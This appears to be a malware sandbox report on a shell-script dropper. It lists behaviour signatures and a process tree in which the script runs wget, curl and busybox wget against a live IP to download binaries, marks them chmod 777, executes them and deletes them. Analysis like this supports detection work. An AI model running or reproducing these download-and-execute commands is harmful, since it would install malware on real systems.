Overview

overview

7

Static

static

1

cdecc24112...ff8.sh

ubuntu-18.04-amd64

7

cdecc24112...ff8.sh

debian-9-armhf

7

cdecc24112...ff8.sh

debian-9-mips

7

cdecc24112...ff8.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    8s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/10/2024, 02:54

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General

  • Target
    cdecc2411291ee2db8e541584068a06b47221c4d89088973081354fb44442ff8.sh
  • Size 10KB
  • Sample241027-ddyc3atepl
  • SHA256 cdecc2411291ee2db8e541584068a06b47221c4d89088973081354fb44442ff8
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cdecc2411291ee2db8e541584068a06b47221c4d89088973081354fb44442ff8.sh
    /tmp/cdecc2411291ee2db8e541584068a06b47221c4d89088973081354fb44442ff8.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://87.120.126.196/bins/bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
          2⤵
            PID:676
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
            2⤵
              PID:698
            • /bin/chmod
              chmod 777 bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
              2⤵
              • File and Directory Permissions Modification
              PID:700
            • /tmp/bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
              ./bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
              2⤵
              • Executes dropped EXE
              PID:701
            • /bin/rm
              rm bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
              2⤵
                PID:702
              • /usr/bin/wget
                wget http://87.120.126.196/bins/e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                2⤵
                  PID:703
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:705
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                  2⤵
                    PID:706
                  • /bin/chmod
                    chmod 777 e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                    2⤵
                    • File and Directory Permissions Modification
                    PID:707
                  • /tmp/e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                    ./e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                    2⤵
                    • Executes dropped EXE
                    PID:708
                  • /bin/rm
                    rm e2Xjkn15fwJG8WdcMdwnEbxu0gaT06Is1n
                    2⤵
                      PID:709
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/3ttfVfNB5dqMWdSewAAMTRejT5mS9KuuSd
                      2⤵
                        PID:710
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/3ttfVfNB5dqMWdSewAAMTRejT5mS9KuuSd
                        2⤵
                          PID:711

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

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                            Downloads

                            bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
                            • Path /tmp/bEUK6e1NpgCiSv7gz6TQcYzeWJ7yI3deiy
                            • Size 153B
                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                            • MD5 SHA1 SHA512
                            Submit Download